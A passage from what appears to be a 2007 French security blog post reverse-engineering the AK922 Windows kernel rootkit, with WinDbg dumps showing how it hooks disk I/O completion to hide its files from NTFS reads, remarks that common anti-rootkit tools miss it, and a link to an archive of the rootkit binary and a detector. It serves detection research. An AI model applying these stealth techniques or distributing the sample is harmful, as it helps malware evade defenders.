[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     f7500fc3	CLASSPNP!ClassInternalIoControl
[10] IRP_MJ_SHUTDOWN                    f74fd366	CLASSPNP!ClassShutdownFlush
[11] IRP_MJ_LOCK_CONTROL                804f4456	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     804f4456	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             804f4456	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              804f4456	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                804f4456	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       f74feef3	CLASSPNP!ClassDispatchPower
[17] IRP_MJ_SYSTEM_CONTROL              f7503a24	CLASSPNP!ClassSystemControl
[18] IRP_MJ_DEVICE_CHANGE               804f4456	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804f4456	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804f4456	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         f7502d15	CLASSPNP!ClassDispatchPnp

kd> !devobj 84abcab8
Device object (84abcab8) is for:
DR0 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00000050
Vpb 84ba5060 Dacl e1470394 DevExt 84abcb70 DevObjExt 84abcfd0 Dope 84afbba8
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84abd920 DriverPartMgr
AttachedTo (Lower) 84b1cd98 Driveratapi
Device queue is not busy.

kd> !devobj 847d2ab8
Device object (847d2ab8) is for:
DR2 DriverDisk DriverObject 84b189e8
Current Irp 00000000 RefCount 0 Type 00000007 Flags 00002050
Vpb 847c48a8 Dacl e1470394 DevExt 847d2b70 DevObjExt 847d2fd0 Dope 847f7888
ExtensionFlags (0000000000)
AttachedDevice (Upper) 84738e08 DriverPartMgr
AttachedTo (Lower) 847d3990 Driverusbstor
Device queue is not busy.

Ak922 note tout les devices du driver disk commencant par DR, dans l’exemple au dessus j’ai DR0 et DR2 sur ma b0x. Le rootkit vérifie donc si l’IRP est envoyé sur un de ces devices, si oui il check que l’IRQL est bien à DISPATCH_LEVEL et queue un WorkItem avec ExQueueWorkItem. Cela permet au code de WorkItemRoutine d’être exécuté dans un system thread lorsque l’IRQL sera redescendu à PASSIVE_LEVEL. La WorkItemRoutine utilise une fonction que j’ai appelé OwnNtfs pour modifier le contenu du buffer demandé. Comme on tape direct sur le driver disk.sys, le rootkit controle si dans les structures NTFS du buffer, il n’existe pas une string « ak922″.

Après un BP, j’ai pu voir que la fonction ExQueueWorkItem était appelée dans le contexte suivant :

kd> g
Breakpoint 1 hit
ak922+0xc68:
fd1fec68 ff15c8f31ffd    call    dword ptr [ak922+0x13c8 (fd1ff3c8)] ; ExQueueWorkItem
kd> kv
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
80550478 80d8ea59 ff9d4008 00000207 80e440f8 ak922+0xc68
805504ac fcceaf54 80e44040 ff9d4008 00000001 0x80d8ea59 ; IofCompleteRequest
805504d4 804e3d38 00000000 80dd9bb8 80dd9d50 CLASSPNP!TransferPktComplete+0x180 (FPO: [Non-Fpo])
80550504 fcbf365e 80e404e8 80e3f0f8 00000000 nt!IopfCompleteRequest+0xa2 (FPO: [Non-Fpo])
80550530 fcbf3b94 80dd9bb8 80e404e8 805505ab atapi!IdeProcessCompletedRequest+0x664 (FPO: [Non-Fpo])
805505ac 804dbbd4 80e3f0b4 80e3f040 00000000 atapi!IdePortCompletionDpc+0x204 (FPO: [Non-Fpo])
805505d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805505d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])

Il existe aussi dans HandleIRPCompletion un code qui vérifie que l’IOCTL de l’IRP dans le code ou la MajorFunction est de type IRP_MJ_DEVICE_CONTROL. L’IOCTL vérifié est 0x4D014 et correspond à IOCTL_SCSI_PASS_THROUGH_DIRECT qui est utilisé par la fonction SpSendPassThrough du driver scsiport.sys (non loadé sur ma b0x)

Je n’ai pas réussi à comprendre entièrement le fonctionnement de la fonction HandleIRPCompletion. Mais je peux dire que l’auteur n’avait pas oublié de gérer correctement les InformationClass FileFullDirectoryInformation et FileNamesInformation je pense qu’il aurait été vraiment très dur de le détecter.

En tout cas, RkUnhooker, Darkspy (les meilleurs anti-rk que je connaisse) et même Winhex ne le détectent pas !

Mon detecteur, fonctionne un peu comme celui de Rutkowska, Flister, en utilisant l’InformationClass FileNamesInformati avec l’API NtQueryDirectoryFile.

Bref je vous fournis dans le .rar le binaire, le .idb, la source et le binaire du détecteur.

http://ivanlef0u.fr/repo/ak922.rar

ref:

http://translate.google.com/translate?u=http%3A%2F%2Fblog.sina.com.cn%2Fs%2Fblog_4df3a09101000awi.html&langpair=zh%7Cen&hl=fr&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools
http://www.rootkit.com/board.php?thread=11014&did=edge0&disp=11014
http://www.google.fr/search?q=AK922.sys&ie=utf-8&oe=utf-8

18 comments septembre 2nd, 2007

Next Posts Previous Posts


Calendar

novembre 2019
L Ma Me J V S D
« fév    
 123
45678910
11121314151617
18192021222324
252627282930  

Posts by Month

Posts by Category